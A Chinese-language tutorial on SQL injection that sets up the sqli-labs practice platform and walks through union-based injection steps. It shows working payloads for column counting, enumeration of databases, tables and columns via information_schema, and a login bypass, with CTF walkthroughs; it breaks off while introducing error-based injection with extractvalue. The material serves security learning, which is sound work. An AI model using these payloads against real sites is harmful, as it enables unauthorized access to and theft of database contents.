一、SQL注入的成因
开发人员在开发过程中,直接将URL中的参数、HTTP Body中的Post参数或其他外来的用户输入(如Cookies,UserAgent等)与SQL语句进行拼接,造成待执行的SQL语句可控,从而使我们可以执行任意SQL语句。
二、搭建SQL注入练习平台
- sqli-labs是一款学习SQL注入的开源平台
- 下载:https//github.com/skyblueee/sqli-labs-php7
- 打开phpstady的 www 根目录,解压到根目录下
- 打开phpMyAdmin 数据库管理工具
- 在数据库中新建一个security数据库
- 选择sqli-labs目录中的sql-lab.sql文件,点执行导入到数据库中
- 打开sqli-labs文件下的sql-connections文件夹中的db-creds.inc文件,修改连接数据库中的密码
三、SQL注入分类
3.1 有回显的注入
3.1.1 联合注入
联合注入,表示存在可以使用union关键字进行SQL注入的注入点。
例题:http://localhost/sqli-labs/Less-1/ 源代码中SQL语句部分如下:
<?php
if(isset($_GET['id']))
{
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
通过SQL语句中的$id变量,该变量会将GET获取到的参数直接拼接到SQL语句中。如果我们传入参数:
?id=1' union select database() #
那么源代码里面的SQL语就会变成:
$sql="SELECT * FROM users WHERE id='1' union select database() # LIMIT 0,1";
通过传入的单引号闭合前面的单引号,#注释掉后面的语句,中间写上我们需要运行的语句就可以了。
3.1.1.1手动注入一般解题步骤:
-
判断网站是否可以进行SQL注入
- 分别输入不同的id值
- 有结果:1
- 有结果:1’ and 1=1#
- 无结果:1’ and 1=2#
-
. 依次试一试数据表中有多少列,如果order by 5 报错,则表示有4列。
?id=1’ order by 4 # -
查看版本和数据名称 :select 1,2,3…这里根据数据表中的列数来决定参数数量。
?id=1’and 1=2 union select 1,version() , database() # -
查看所有数据库:当flag不在当前数据库 可以通过下面的方法查询所有数据库名称,
?id=1’and 1=2 union select 1, (select group_concat(schema_name) from information_schema.schemata ) # -
查看数据库中的所有表
?id=1’and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 数据库名称) #
or
?id=1’and 1=2 union select 1,(select table_name from information_schema.tables where table_schema = 数据库名称 limit 0,1 ) # -
查看表中的所有字段
?id=1’and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 表名) # -
查看字段的所有值
?id=1’and 1=2 union select 1,(select 字段名称 from 表名 ) #
关于information_schema:MySQL 中的 information_schema 数据库
3.1.1.2 使用SQLmap工具注入步骤:
参考资料:sqlmap使用教程(超详细)
3.1.1.3 CTF练习
- [极客大挑战 2019]EasySQL
- 查看源码,并么有发现SQL语句。尝试弱密码,没有试用出密码。所以尝试注入。
- 在BurpSuite中通过Repeater通过手工注入即可得到flag。
- [极客大挑战 2019]LoveSQL
- 查看源码,没有SQL语句。尝试弱密码登陆也失败了。继续用SQL注入,通过注入username=admin’ or 1=1 #
- 通过注入可以知道,flag可能藏在了其他数据表中,通过ORDER BY语句查看到该数据表只有3列。
- 使用Union关键字连接两个查询语句,并查询出当前数据库名称:
- 根据数据库名称查询出所有表名称,使用group_concat()将所有表名连接合并成一个字符串。得到两个数据表名:geekuser和l0ve1ysq1,猜flag可能在l0ve1ysq1表中。
- 查询l0ve1ysq1表的所有字段名
- 最后查询表中所有值:得到flag
3.1.2 报错注入
3.1.2.1 extractvalue函数
extractevalue函数是对XML文档进行查询的函数。
语法: extractvalue(目标XML文档,XML路径)
mysql> select extractvalue('<div>value</div>','div');
+----------------------------------------+
| extractvalue